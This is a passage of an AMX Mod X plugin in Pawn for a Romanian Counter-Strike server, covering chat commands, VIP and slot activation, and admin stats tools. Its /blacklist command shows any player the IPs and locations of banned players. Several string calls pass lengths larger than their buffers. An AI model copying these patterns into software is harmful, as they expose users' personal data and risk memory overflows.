				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			FpsMotd(id)
			return PLUGIN_CONTINUE
		}
		
		/* BlackList */
		if (str_to_num(BLACKLIST_STATUS))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			if (equal(sayText, "/blacklist"))
			{
				new xMOTD[2048], xLen, tNume[32], tRamas[32], cTime[4], tm = time()
				
				xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center>")
				xLen += format(xMOTD[xLen], 2053-xLen, "<b><font color=red>BlackList</font> HNS.LEGENDCS.COM^n")
				xLen += format(xMOTD[xLen], 2047-xLen, "%21s  %20s %20s %10s^n^n", "Nume", "Ip", "Coordonate", "TIMP RAMAS")
				
				for (new i=0;i < locatiiNumLoad;i++)
				{
					if (strlen(locatiiLocatie[i]) > 5)
					{
						if (locatiiTime[i] > tm)
						{
							copy(tNume, 31, locatiiPlayer[i])
							replace_all(tNume, 31, "<", "")
							replace_all(tNume, 31, ">", "")
							ConvertTime(locatiiTime[i] - tm, cTime, true)
							format(tRamas, 31, "%dz%do%dm", cTime[0], cTime[1], cTime[2])
							xLen += format(xMOTD[xLen], 2047-xLen, "%-21.21s  %20s %20s %10s^n", tNume, locatiiIp[i], locatiiLocatie[i], tRamas)
						}
					}
				}
				show_motd(id, xMOTD, "BlackList HNS.LEGENDCS.COM")
				return PLUGIN_CONTINUE
			}
		}
		
		/* LastIP MOTD */
		if (equali(sayText, "/lastip") || equali(sayText, "/last"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			LastIpMotd(id)
			return PLUGIN_CONTINUE
		}
		
		/* SpecInfo */
		if (equali(sayText, "/speclist"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			specSetHud( )
			cl_prefs[id] ^= FL_LIST
			show_hudmessage( id, "Lista spectatoriilor %s", cl_prefs[id] & FL_LIST ? "[ACTIVATA]" : "[DEZACTIVATA]" )
			return PLUGIN_CONTINUE
		}
		
		if (equali(sayText, "/speckeys"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			specSetHud( )
			cl_prefs[id] ^= FL_KEYS
			show_hudmessage( id, "Spectator keys %s", cl_prefs[id] & FL_KEYS ? "[ACTIVAT]" : "[DEZACTIVAT]" )
			return PLUGIN_CONTINUE
		}
		
		if (equali(sayText, "/showkeys"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			specSetHud( )
			cl_prefs[id] ^= FL_OWNKEYS
			show_hudmessage( id, "Spectator own keys %s", cl_prefs[id] & FL_OWNKEYS ? "[ACTIVAT]" : "[DEZACTIVAT]" )
			return PLUGIN_CONTINUE
		}
		
		/* Regulament */
		if (equal(sayText, "/reguli") || equal(sayText, "/regulament") || equal(sayText, "/rulles") || equal(sayText, "/rulls"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new fMotd[128]
			format(fMotd, 127, "addons/amxmodx/congigs/motd/regulament.html", URL_MOTD)
			show_motd(id, fMotd, "Regulament")
			return PLUGIN_CONTINUE
		}
		
		/* Check Fraud */
		if (contain(sayText, "/verifica") != -1)
		{
			if (str_to_num(VERIFICA_JUCATOR))
			{
				if (get_user_flags(id) & ADMIN_KICK)
				{
					new Target[32]
					copy(Target, 31, sayText[10])
					new id2 = cmd_target(id, Target, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
					if (id2)
					{
						new ip[32], nume[32], steam[32], tara[45], oras[45], cTime[4], lvl, xp
						get_user_name(id2, nume, 31)
						get_user_authid(id2, steam, 31)
						get_user_ip(id2, ip, 31, 1)
						geoip_country(ip, tara, 44)
//						geoip_city(ip, oras, 44)
						ConvertTime(plTime[id2][0] + get_user_time(id2, 1) - sLastChTime[id2], cTime, false)
						lvl = CalculateLevel(id2)
						xp = CalculateStats(id2)
						if (!CheckFraud(id2, plLastIP[id2]) && str_to_num(VERIFICA_JUCATOR))
						{
							xColor(id, "Ultimul IP:!g%s!n | IP-ul Actual:!g%s!n. Pentru actualizare:!t /actualizare!g %d", plLastIP[id2], ip, get_user_userid(id2))
						}
						xColor(id, "Nume:!g%s!n | Steam:!g%s!n | Ip:!g%s!n", nume, steam, ip)
						xColor(id, "Tara:!g%s!n | Oras:!g%s!n | Ultima intrare:!g%s!n | LastIP:!g%s!n", tara, oras, plLast[id2], plLastIP[id2])
						xColor(id, "Timp: !g%d!nor%s !g%d!n minut%s. LVL:!g%d!n(!g%d/%s!n XP) [K:!g%d!n][H:!g%d!n][R:!g%d!n][D:!g%d!n][S:!g%d!n]", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e", \
						lvl, xp, lvl == charsmax(LevelXP) ? "MAX" : LevelXP[lvl+1], \
						plStats[id2][0], plStats[id2][1], plStats[id2][2], plStats[id2][3], plStats[id2][4])
					}
					else
					{
						xColor(id, "Nu gasesc nici un jucator. [!g%s!n]", Target)
						return PLUGIN_HANDLED
					}
				}
				else
				{
					xColor(id, "Nu ai acces la aceasta comanda.")
				}
			}
			else
			{
				xColor(id, "Comanda este dezactivata.")
			}
			return PLUGIN_CONTINUE
		}
		
		/* Actualizare IP */
		if (contain(sayText, "/actualizare") != -1)
		{
			if (str_to_num(VERIFICA_JUCATOR))
			{
				if (get_user_flags(id) & ADMIN_SLAY)
				{
					new completArg[32], id2, ip[32], nume[32], Target[32]
					format(completArg, 31, "#%s", sayText[13])
					copy(Target, 31, sayText[13])
					id2 = cmd_target(id, completArg, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
					if (!id2)
						id2 = cmd_target(id, Target, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
					
					if (id2)
					{
						get_user_name(id2, nume, 31)
						get_user_ip(id2, ip, 31, 1)
						if (!CheckFraud(id2, plLastIP[id2]) && str_to_num(VERIFICA_JUCATOR))
						{
							copy(plLastIP[id2], 63, ip)
							xColor(0, "IP-ul lui!g %s!n a fost actualizat. (!g%s!n). Statisticile ii vor fi salvate.", nume, getClassIp(ip))
						}
						else
						{
							xColor(id, "IP-ul lui!g %s!n este deja valid (actualizat). Last:!g%s!n | New:!g%s!n.", nume, plLastIP[id2], ip)
						}
					}
					else
					{
						xColor(id, "Nu gasesc nici un jucator. [!g%s!n]", Target)
					}
				}
				else
				{
					xColor(id, "Nu ai acces la aceasta comanda.")
				}
			}
			else
			{
				xColor(id, "Comanda este dezactivata.")
			}
			return PLUGIN_CONTINUE
		}
		
		/* Info VIP MOTD */
		if (equal(sayText, "/informatii"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/info.html")
		}
		
		if (equal(sayText, "/vipg1"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G1.html")
		}
				
		if (equal(sayText, "/vipg2"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G2.html")
		}
		
		if (equal(sayText, "/vipg3"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G3.html")
		}
		
		if (equal(sayText, "/vipg4"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G4.html")
		}
		
		if (equal(sayText, "/vipg5"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G5.html")
		}
		
		if (equal(sayText, "/vip"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/TabelVipInfo.html")
		}
		
		/* Info Point */
		if (equal(sayText, "/infopoint"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new fMotd[128]
			format(fMotd, 127, "%s/infopoint.html", URL_MOTD)
			show_motd(id, fMotd, "Point Info")
			return PLUGIN_CONTINUE
		}
		
		/* Info Level */
		if (equal(sayText, "/infolevel"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new fMotd[128]
			format(fMotd, 127, "%s/infolevel.html", URL_MOTD)
			show_motd(id, fMotd, "Level Info")
			return PLUGIN_CONTINUE
		}
	}
	if (StopChat)
	{
		xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
		return PLUGIN_HANDLED
	}
	// Block multiple msg
	if (equal(LastMessage[id][1], sayText))
	{
		LastMessage[id][0]++
		if (LastMessage[id][0] == 5)
		{
			xColor(id, "Nu mai face spamm boooule")
			return PLUGIN_HANDLED
		}
	}
	copy(LastMessage[id][1], 63, sayText)
	return PLUGIN_CONTINUE
}

public WhoAdmin(id)
{
	new xMOTD[2048], xLen, Nume[32], tNume[32], xP[32], xN, cTime[4]
	get_players(xP, xN, "c")
	xLen = format(xMOTD[xLen], 2053-xLen, "<body background=http://i.imgur.com/Hdlw6J4.png><center><pre>")
	xLen += format(xMOTD[xLen], 2053-xLen, "<b><font color=white>Pentru cereri de admin intrati pe </font><font color=red>www.legendcs.com/forum</font><font color=white> sectiunea </font><font color=red>HNS</font>^n\<font color=white>Pentru detalii despre </font><font color=red>V.I.P</font><font color=white> tasteaza </font><font color=red>/vip</font>^n^n")
	for (new i=0; i < sizeof(whoDenumire);i++)
	{
		xLen += format(xMOTD[xLen], 2053-xLen, "<b><font color=white>%s</b><font color=%s>^n", whoDenumire[i], whoCulori[i])
		for (new x=0;x < xN;x++)
		{
			get_user_name(xP[x], Nume, 31)
			copy(tNume, 63, Nume)
			replace_all(tNume, 63, "<", "")
			replace_all(tNume, 63, ">", "")
			if (i+1 < sizeof(whoDenumire)) 
			{
				// Verifica adminii
				if (get_user_flags(xP[x]) == read_flags(whoGrad[i]))
				{
					xLen += format(xMOTD[xLen], 2053-xLen, "%s^n", tNume)
				}
			}
			else
			{
				// Verifica VIP-urile
				for (new z=1;z < sizeof(VipAcces);z++)
				{
					if (get_user_flags(xP[x]) == read_flags(VipAcces[z]))
					{
						ConvertTime(plVipInfo[xP[x]][0] + (86400 * plVipInfo[xP[x]][1]) - time(), cTime, true)
						xLen += format(xMOTD[xLen], 2053-xLen, "<font color=white>[</font><font color=green>%s</font> <font color=white>|</font> <font color=green>G:%d</font><font color=white>]</font> <font color=white>[</font>Expira: ", tNume, z)
						if (cTime[0] > 0)
							xLen += format(xMOTD[xLen], 2053-xLen, "%d zile <font color=white>|</font> ", cTime[0])
						if (cTime[1] > 0 || cTime[0] > 0)
							xLen += format(xMOTD[xLen], 2053-xLen, "%d ore <font color=white>|</font> ", cTime[1])
						xLen += format(xMOTD[xLen], 2053-xLen, "%dminute<font color=white>]</font>^n", cTime[2])
					}
				}
			}
		}
		xLen += format(xMOTD[xLen], 2053-xLen, "</font>")
	}
	xLen += format(xMOTD[xLen], 2053-xLen, "</center></body>")
	show_motd(id, xMOTD, "Adminii Serverului")
}


public Medic(id)
{
	medicBlock[id] = time() + 1
	if (is_user_alive(id))
	{
		new pMoney = cs_get_user_money(id)
		if (pMoney < 1)
		{
			xColor(id, "Noua comanda pentru medic este (medic) fara slash (/)")
		}
		else
		{
			if (medicLast[id] < time())
			{
				new MaxHP, Vip = IsVip(id), MedicTime, lvl, AddHP, pHp = get_user_health(id)
				if (Vip != 0)
					MaxHP = str_to_num(VipMaxHP[Vip])
				else
				{
					lvl = CalculateLevel(id)
					MaxHP = str_to_num(LevelMaxHP[lvl])
				}
				MedicTime = str_to_num(LevelMedicTime[lvl]) - str_to_num(VipMedicTime[Vip])
				AddHP = str_to_num(VipMedicHP[Vip]) + str_to_num(LevelMedicHP[lvl])
				
				if (pHp >= MaxHP)
				{
					xColor(id, "Noua comanda pentru medic este (medic) fara slash (/)", MaxHP, pHp)
				}
				else
				{
					if (pHp + AddHP > MaxHP)
					{
						GameHP(id, MaxHP - pHp)
						xColor(id, "Medicul ti-a incarcat toata viata.")
					}
					else
					{
						GameHP(id, AddHP)
						xColor(id, "Medicul ti-a dat!g %d!n HP.", AddHP)
					}
					GameBani(id, 0, 1)
					medicLast[id] = time() + MedicTime
				}
			}
			else
			{
				new wait = medicLast[id] - time()
				xColor(id, "Noua comanda pentru medic este (medic) fara slash (/)", wait, wait == 1 ? "a" : "e")
			}
		}
	}
	else
	{
		xColor(id, "Noua comanda pentru medic este (medic) fara slash (/)")
	}
	return PLUGIN_HANDLED
}

RankMe(id)
{
	new Nume[32], pStats[5], pLvl[2]
	get_user_name(id, Nume, 31)
	new pRank = PlayerStats(Nume, pStats, pLvl)
	if (pRank != 0)
		xColor(id, "Rankul tau este!g %d!n din!g %d!n. [!g%d!nKILL][!g%d!nHS][!g%d!nROUND][!g%d!nDEATH][!g%d!nSUICIDE]", \
		pRank, topTotalPlayers, pStats[0], pStats[1], pStats[2], pStats[3], pStats[4])
}

public SlotMe(id)
{
	new xMenu[512]
	format(xMenu, 511, "\rHNS.LEGENDCS.COM\y ->\r Slot pentru activitate.^n^n\ \wInainte de a activa slotul, citeste mai jos.^n\Parola pentru slot trebuie sa contina minim\r 4\w caractere.^n\Parola nu trebuie data la nimeni, altfel slotul va fi dezactivat.^n\Nu se face abuz de comenzile amx_say / amx_csay .. etc.^n\\rDupa activarea slotului, poti face cerere de admin.^n^n\\r1\w.\y Sunt deacord cu cele spuse mai sus.^n\\r2\w.\y Anuleaza activarea slotului.")

	new Keys = ( 1<<0 | 1<<1 )
	show_menu(id, Keys, xMenu, -1, "menuConfirmareSlot")
}

public PUBmenuConfirmareSlot(id, keys)
{
	if (keys == 0)
	{
		xColor(id, "!t*********************************************************")
		xColor(id, "!t*********************************************************")
		xColor(id, "!t*********************************************************")
		xColor(id, "*!g Parola trebuie sa contina minim!t %d!g caractere.", 4)
		xColor(id, "!t*********************************************************")
		xColor(id, "!t*********************************************************")
		xColor(id, "!t*********************************************************")
		MessageMode[id] = true
		client_cmd(id, "messagemode ^"PAROLA_SLOT^"")
		new cDown[3]
		cDown[0] = id
		cDown[1] = str_to_num(SEC_TO_PASSWORD)
		cDown[2] = 2
		CountDownTime(cDown)
		new Float:BMM = floatstr(SEC_TO_PASSWORD)
		set_task(BMM, "BlockMessageMode", id + TASK_MESSAGE_MODE)
	}
	else
	{
		xColor(id, "Multumim ca joci pe serverul nostru.")
	}
	return PLUGIN_HANDLED
}

public SlotMeFinal(id)
{
	if (MessageMode[id])
	{
		remove_task(id + TASK_MESSAGE_MODE)
		remove_task(id + TASK_SLOTME_PW)
		new Pws[64], Nume[32]
		get_user_name(id, Nume, 31)
		read_args(Pws, 63)
		remove_quotes(Pws)
		if (strlen(Pws) < 4)
		{
			MessageMode[id] = false
			xColor(id, "Parola!g %s!n este mai mica de!g %d!n caractere. Rescrie parola.", Pws, 4)
			PUBmenuConfirmareSlot(id, 0)
		}
		else
		{
			MessageMode[id] = false
			client_cmd(id, "setinfo %s %s", PwFieldServer, Pws)
			copy(plPass[id], 63, Pws)
			plAcces[id] = 1
			xColor(0, "Jucatorul!g %s!n a activat slotul pe server prin comanda!g /slotme!n.", Nume)
			SalvareStatistici(id, "", get_user_time(id, 1))
			set_task(1.0, "vUs", id)
		}
	}
	else
	{
		xColor(id, "Foloseste comanda!g /slotme!n pentru activarea slotului.")
	}
}

VipMe(id)
{
	new xMenu[512]
	format(xMenu, 511, "\rHNS.LEGENDCS.COM\y ->\r Vip G:%d] pentru activitate..^n^n\ \wInainte de a activa VIP-ul, citeste mai jos.^n\Iti voi scadea\r %d\w ore din totalul de ore.^n\Abuzul de VIP duce la stergerea acestuia.^n\Odata ce ai VIP, trebuie sa-ti faci cont pe forum.^n^n\\r1\w.\y Sunt deacord si dorect activarea VIP-ului^n\\r2\w.\y Anuleaza activarea VIP-ului.", VIP_ME_GRAD, ORE_VIP_ME)

	new Keys = ( 1<<0 | 1<<1 )
	show_menu(id, Keys, xMenu, -1, "menuConfirmareVip")
}

public PUBmenuConfirmareVip(id, keys)
{
	if (keys == 0)
	{
		new Nume[32]
		get_user_name(id, Nume, 31)
		if (AdminStatus(Nume, false, plPass[id], 63))
		{
			xColor(id, "Adminul tau va fi dezactivat pe perioada VIP-ului.")
		}
		plAcces[id] = 2
		plVipInfo[id][0] = time()
		plVipInfo[id][1] = DURATA_VIP_ME
		plVipInfo[id][2] = VIP_ME_GRAD
		ExpDate(1440 * DURATA_VIP_ME, plVipEnd[id], 63)
		SalvareStatistici(id, "", get_user_time(id, 1), 3600 * ORE_VIP_ME)
		set_task(1.0, "vUs", id)
		xColor(0, "!g%s!n a activat!t VIP-ul!n prin comanda!g /vipme!n.!g %d!n zile!n VIP G:!g%d!n]", Nume, DURATA_VIP_ME, VIP_ME_GRAD)
	}
	else
	{
		xColor(0, "Multumim ca joci pe serverul nostru.")
	}
} 

public vUs(id)
{
	VerificareUser(id)
}

public BlockMessageMode(tid)
{
	MessageMode[tid - TASK_MESSAGE_MODE] = false
}

/* ==========================================================================================
===================================================== CMD`s
========================================================================================== */
public cmdReseteazaPuncte(id)
{
	new Jucator[32], NumeAdmin[32], NumeJucator[32]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true))
	{
		read_argv(1, Jucator, 31)
		new id2 = cmd_target(id, Jucator, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
		if (!id2)
			return PLUGIN_HANDLED
			
		get_user_name(id2, NumeJucator, 31)
		
		xColor(id, "!g%s!n ii reseteaza punctele lui!g %s!n [!g%d!n punct%s].", NumeAdmin, NumeJucator, ptPlStats[id][0], ptPlStats[id][0] == 1 ? "" : "e")
		console_print(id, "I-ai resetat punctele lui: %s", NumeJucator)
		rPuncte(id2)
	}
	return PLUGIN_HANDLED
}

public cmdAdaugaPuncte(id)
{
	new Jucator[32], Puncte[32], NumeAdmin[32], NumeJucator[32]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true))
	{
		read_argv(1, Jucator, 31)
		read_argv(2, Puncte, 31)
		new id2 = cmd_target(id, Jucator, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
		if (!id2)
			return PLUGIN_HANDLED

		get_user_name(id2, NumeJucator, 31)	
			
		if (!str_to_num(Puncte))
		{
			console_print(id, "La <puncte> se trece valoare numerica")
			return PLUGIN_HANDLED
		}
		xColor(id, "!g%s!n ii adauga lui!g %s!n [!g%d!n punct%s]", NumeAdmin, NumeJucator, str_to_num(Puncte), str_to_num(Puncte) == 1 ? "" : "e")
		console_print(id, "I-ai adaugat lui: %s [%d punct%s]", NumeJucator, str_to_num(Puncte), str_to_num(Puncte) == 1 ? "" : "e")
		aPuncte(id2, str_to_num(Puncte))
	}
	return PLUGIN_HANDLED
}

public cmdAdaugaVip(id)
{
	new NumeAdmin[32], NumeJucator[32]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true) || id == 0)
	{
		new Arg1[32], Arg2[32], Arg3[32], Arg4[32]
		read_argv(1, Arg1, 31)
		read_argv(2, Arg2, 31)
		read_argv(3, Arg3, 31)
		read_argv(4, Arg4, 31)
		if (strlen(Arg1) < 1 || strlen(Arg2) < 1 || strlen(Arg3) < 1 || strlen(Arg4) < 1)
			return HowAdd(id, true, true, true, true)
		else
		{
			if (strlen(Arg2) < 4)
				return HowAdd(id, false, true, false, false)
			if (!str_to_num(Arg3))
				return HowAdd(id, false, false, true, false)
			if (!str_to_num(Arg4))
				return HowAdd(id, false, false, false, true)
			new id2 = cmd_target(id, Arg1, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
			if (id2 != 0)
			{
				get_user_name(id2, NumeJucator, 31)
				if (AdminStatus(NumeJucator, false, "", 0))
				{
					xColor(id2, "Adminul tau va fi dezactivat pe perioada VIP-ului.")
				}
				plAcces[id2] = 2
				plVipInfo[id2][0] = time()
				plVipInfo[id2][1] = str_to_num(Arg4)
				plVipInfo[id2][2] = str_to_num(Arg3)
				copy(plPass[id2], 63, Arg2)
				ExpDate(1440 * str_to_num(Arg4), plVipEnd[id2], 63)
				client_cmd(id2, "setinfo %s %s", PwFieldServer, Arg2)
				SalvareStatistici(id2, "", get_user_time(id2, 1))
				set_task(1.0, "vUs", id2)
				xColor(0, "!g%s!n i-a activat VIP G:!g%s!n] lui!g %s!n [!g%s!n zi%s]", NumeAdmin, Arg3, NumeJucator, Arg4, str_to_num(Arg4) == 1 ? "" : "le")
			}
			else
			{
				return HowAdd(id, true, false, false, false)
			}
		}
	}
	return PLUGIN_HANDLED
}

HowAdd(id, nume, parola, grad, durata)
{
	console_print(id, "**************************************")
	console_print(id, "[ Comanda Adaugare VIP: amx_addvip <nume | !nume <parola> <grad> <durata>?")
	console_print(id, "")
	if (nume)
		console_print(id, "<nume> -> (Jucatorul trebuie sa fie ON)")
	if (parola)
		console_print(id, "<parola> -> Parola VIP-ului (minim 4 caractere)")
	if (grad)
		console_print(id, "<grad> -> Grad VIP (numeric)")
	if (durata)
		console_print(id, "<durata> -> Durata VIP-ului(numeric)(in zile)")
	console_print(id, "")
	console_print(id, "Exemplu: amx_addvip ^"CsN^" ^"parola-nab^" ^"5^" ^"20^"")
	console_print(id, "**************************************")
	return PLUGIN_HANDLED
}

public cmdResetStats(id)
{
	new NumeAdmin[32], NumeJucator[32], Save=false, tForm[128]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true) || id == 0)
	{
		new Arg1[32], Arg2[32]
		read_argv(1, Arg1, 31)
		read_argv(2, Arg2, 31)
		if (strlen(Arg1) < 1 || strlen(Arg2) < 1)
			return HowUse(id, true, true)
			
		new id2 = cmd_target(id, Arg1, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
		if (id2 != 0)
		{
			get_user_name(id2, NumeJucator, 31)
			if (contain(Arg2, "a") != -1)
			{
				plStats[id2][0] = 0
				plStats[id2][1] = 0
				plStats[id2][2] = 0
				plStats[id2][3] = 0
				plStats[id2][4] = 0
				console_print(id, "-> Statisticile lui [%s] au fost resetate", NumeJucator)
				format(tForm, 127, "[stats]")
				Save = true
			}
			if (contain(Arg2, "b") != -1)
			{
				plTime[id2][0] = 0
				console_print(id, "-> Orele lui [%s] au fost resetate", NumeJucator)
				format(tForm, 127, "%s[ore]", tForm)
				Save = true
			}
			if (contain(Arg2, "c") != -1)
			{
				plAcces[id2] = 0
				console_print(id, "-> Slotul/VIP-ul lui [%s] a fost dezactivat.", NumeJucator)
				remove_user_flags(id2)
				format(tForm, 127, "%s[slot/vip]", tForm)
				Save = true
			}
			if (Save)
			{
				xColor(0, "!g%s!n ii reseteaza lui!g %s!n!t %s", NumeAdmin, NumeJucator, tForm)
				SalvareStatistici(id2, "", 0)
			}
		}
		else
		{
			if (file_exists(sStatsFile))
			{
				new xLinie, xText[512], tNume[64], tParola[64], tTime[32], tUnixLast[32], tLastIP[32], tLast[32]
				new statsKill[10], statsHs[10], statsRound[10], statsDeath[10], statsSuicide[10]
				new regInreg[2], vipStart[32], vipDurata[6], vipGrad[2], vipEnd[64]
				new oFile = fopen(sStatsFile, "r")
				while(!feof(oFile))
				{
					fgets(oFile, xText, 511)
					trim(xText)

					tNume[0] = 0
					tParola[0] = 0
					
					if (xText[0] == ';' || xText[0] == '!' ||
						parse(xText, tNume, 63, tParola, 63, tTime, 31, tUnixLast, 31, tLastIP, 31, tLast, 31, \
						statsKill, 9, statsHs, 9, statsRound, 9, statsDeath, 9, statsSuicide, 9, \
						regInreg, 1, vipStart, 31, vipDurata, 5, vipGrad, 1, vipEnd, 63) < 2)
					{
						xLinie++
						continue
					}
					
					if (equali(Arg1, tNume))
					{
						new fNewLine[512]
						if (contain(Arg2, "d") != -1)
						{
							format(fNewLine, 511, "; -> Disabled.")
							console_print(id, "Statisticile jucatorului [%s] au fost sterse.", Arg1)
							format(tForm, 127, "[FULL STATS]")
						}
						else
						{
							if (contain(Arg2, "a") != -1)
							{
								format(statsKill, 31, "0")
								format(statsHs, 31, "0")
								format(statsRound, 31, "0")
								format(statsDeath, 31, "0")
								format(statsSuicide, 31, "0")
								console_print(id, "-> Ai resetat statisticile lui [%s]", Arg1)
								format(tForm, 127, "[stats]")
							}
							
							if (contain(Arg2, "b") != -1)
							{
								format(tTime, 31, "0")
								console_print(id, "-> Ai resetat orele lui [%s]", Arg1)
								format(tForm, 127, "%s[ore]", tForm)
							}
							
							if (contain(Arg2, "c") != -1)
							{
								format(regInreg, 31, "0")
								format(vipStart, 31, "0")
								format(vipDurata, 31, "0")
								format(vipGrad, 31, "0")
								format(vipEnd, 31, "-")
								format(tForm, 127, "%s[slot/vip]", tForm)
							}
							format(fNewLine, 511, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",\
							tNume, tParola, tTime, tUnixLast, tLastIP, tLast, statsKill, statsHs, statsRound, statsDeath, statsSuicide,\
							regInreg, vipStart, vipDurata, vipGrad, vipEnd)
						}
						write_file(sStatsFile, fNewLine, xLinie)
						fclose(oFile)
						xColor(0, "!g%s!n ii reseteaza lui!g %s!n!t %s", NumeAdmin, Arg1, tForm)
						return PLUGIN_HANDLED
					}
					xLinie++
				}
				fclose(oFile)
			}
			console_print(id, "Nu gasesc jucatorul [%s]", Arg1)
		}
	}
	return PLUGIN_HANDLED
}

HowUse(id, nume, attrb)
{
	console_print(id, "**************************************")
	console_print(id, "[ Comanda Resetare: amx_resetstats <nume> <flag>")
	console_print(id, "")
	if (nume)
		console_print(id, "<nume> -> Parte din nume(daca e ON) | Numele complet (daca nu e ON)")
	if (attrb)
	{
		console_print(id, "[ Flags ]")
		console_print(id, "a -> Reseteaza statistici (Kill/Hs/Round/Death/Suicide)")
		console_print(id, "b -> Reseteaza ore.")
		console_print(id, "c -> Dezactivaza slotul/VIP.")
		console_print(id, "d -> Dezactivare totala (sterge din fisier)(doar pentru cei offline).")
	}
	console_print(id, "")
	console_print(id, "Exemplu: amx_resetstats ^"CsN^" ^"ac^"")
	console_print(id, "**************************************")
	return PLUGIN_HANDLED
}

public VipStats(id)
{
	new NumeAdmin[32]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true) || id == 0)
	{
		new Arg1[32], Arg2[32], Arg3[32]
		read_argv(1, Arg1, 31)
		read_argv(2, Arg2, 31)
		read_argv(3, Arg3, 31)
		
		if (strlen(Arg1) < 1 || strlen(Arg2) < 1 || strlen(Arg3) < 1)
			HowChange(id, true, true, true)
		else
		{
			new id2 = cmd_target(id, Arg1, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
			if (id2)
			{
				new rReturn = false, NumeVIP[32]
				get_user_name(id2, NumeVIP, 31)
				if (plAcces[id2] == 2)
				{
					if (equali(Arg2, "a"))
					{
						new TimeDown = str_to_num(Arg3)
						if (TimeDown > 0)
						{
							if (plVipInfo[id2][1] <= TimeDown)
							{
								HowChange(id, false, false, true)
							}
							else
							{
								plVipInfo[id2][1] = plVipInfo[id2][1] - TimeDown
								xColor(0, "!g%s!n ii scade VIP-ul lui!g %s!n cu!g %d!n zi%s", NumeAdmin, NumeVIP, TimeDown, TimeDown == 1 ? "" : "le")
							}
						}
						else
							HowChange(id, false, false, true)
						rReturn = true
					}
					if (equali(Arg2, "b"))
					{
						new TimeUp = str_to_num(Arg3)
						if (TimeUp > 0)
						{
							plVipInfo[id2][1] = plVipInfo[id2][1] + TimeUp
							xColor(0, "!g%s!n ii creste VIP-ul lui!g %s!n cu!g %d!n zi%s", NumeAdmin, NumeVIP, TimeUp, TimeUp == 1 ? "" : "le")
						}
						else
							HowChange(id, false, false, true)
						rReturn = true
					}
					if (!rReturn)
						console_print(id, "Comanda [%s] nu exista", Arg2)
				}
				else
				{
					console_print(id, "Jucatorul [%s] nu are vip.", NumeVIP)
				}
			}
			else
			{
				HowChange(id, true, false, false)
			}
		}
	}
